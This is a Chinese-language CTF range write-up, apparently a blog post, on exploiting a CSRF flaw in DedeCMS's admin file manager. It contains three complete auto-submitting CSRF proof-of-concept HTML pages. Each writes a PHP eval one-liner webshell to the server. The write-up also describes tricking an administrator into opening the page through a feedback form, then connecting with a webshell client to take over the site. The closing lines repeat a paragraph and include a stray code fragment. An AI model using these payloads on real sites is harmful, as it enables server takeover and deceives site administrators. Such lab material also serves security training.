CSRF
靶场环境
首页:
本地测试
dedecms。
在本地搭建dedecms测试环境。
后台提供的新建文件功能。
第一步、测试新建文件功能:
点击新建文件:
在此处新建一个一句话木马。
可以新建php文件。
第二步、生成CSRF Poc
这次我们新建一个2.php文件,文件内容依然是与上面一样的一句话木马。
然后抓包该请求。
将该请求生成CSRF Poc。
保存成2.html。
然后在同一个浏览器的新标签页下打开2.html
点击submit。
2.php文件新建成功。
这时,我们就可以认为此处存在CSRF漏洞。如果,我们将2.html进行一些美化,不需要点击submit,让它访问时就立刻新建文件。
一开始的2.html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.17.144/dedecms/uploads/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/dedecms/uploads/uploads" />
<input type="hidden" name="filename" value="2.php" />
<input type="hidden" name="str" value="<?php eval($_GET['cmd'])?>" />
<input type="hidden" name="B1" value="  �¿ �­˜  " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
添加自动提交函数的2.html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id="go" action="http://192.168.17.144/dedecms/uploads/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/dedecms/uploads/uploads" />
<input type="hidden" name="filename" value="2.php" />
<input type="hidden" name="str" value="<?php eval($_GET['cmd'])?>" />
<input type="hidden" name="B1" value="  �¿ �­˜  " />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
function autoSubmit() {
// 自动提交函数
document.getElementById('go').submit();
}
setTimeout(autoSubmit,50);//在指定的毫秒数后调用函数或计算表达式
</script>
</body>
</html>
靶场攻击:
靶场的首页地址为:
http://59.63.200.79:8010/newcsrf/
我们的测试环境首页地址为:
http://192.168.17.144/dedecms/uploads/
dedecms/uploads/=newcsrf/
根据上面的测试新建文件功能的时候可知,我们本地上传文件的工作目录为:/dedecms/uploads/uploads
那么我们需要文件上传的地址是**/newcsrf/uploads**下
我们2.html中表单提交的地址为:
http://192.168.17.144/dedecms/uploads/dede/file_manage_control.php
那么为了完成CSRF攻击,我们需要找到靶场的:dede/file_manage_control.php地址。
当我们访问这个地址时:59.63.200.79:8010/newcsrf/dede/file_manage_control.php,
会让我们跳转到login的链接。
但是当访问一个错误的地址时,会返回不存在。
访问/dede时跳转,访问错误的/dededdddd时会返回错误。
说明/dede这个目录是存在的。
那么file_manage_control.php应该没有被修改,同样存在。
所以html中action的地址为:
http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php
新建文件的工作目录改了,action 的地址也改了,那么就可以生成Poc了,然后保存成3.html。
然后上传3.html,在问题反馈页面诱导管理员点击。
3.html:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id='a' action="http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/newcsrf/uploads" />
<input type="hidden" name="filename" value="2.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST[2])?>" />
<input type="hidden" name="B1" value="  保 存  " />
<input type="submit" value="Submit request" />
</form>
<script>
function validate(){
document.getElementById('a').submit();
}
setTimeout(validate,100)
</script>
</body>
</html>
在管理员访问该页面后,就会在newcsrf/uploads下生成2.php文件,然后访问2.php即可成功getshell。
最后通过菜刀连接找到flag。
ml>
在管理员访问该页面后,就会在newcsrf/uploads下生成2.php文件,然后访问2.php即可成功getshell。
[外链图片转存中...(img-CC01PY91-1620553593886)]
最后通过菜刀连接找到flag。
[外链图片转存中...(img-cPNByFt1-1620553593887)]
![image-20210325221652420](https://img-blog.csdnimg.cn/img_convert/fca2f8107f89c3dafda9d75fcc3d8447.png)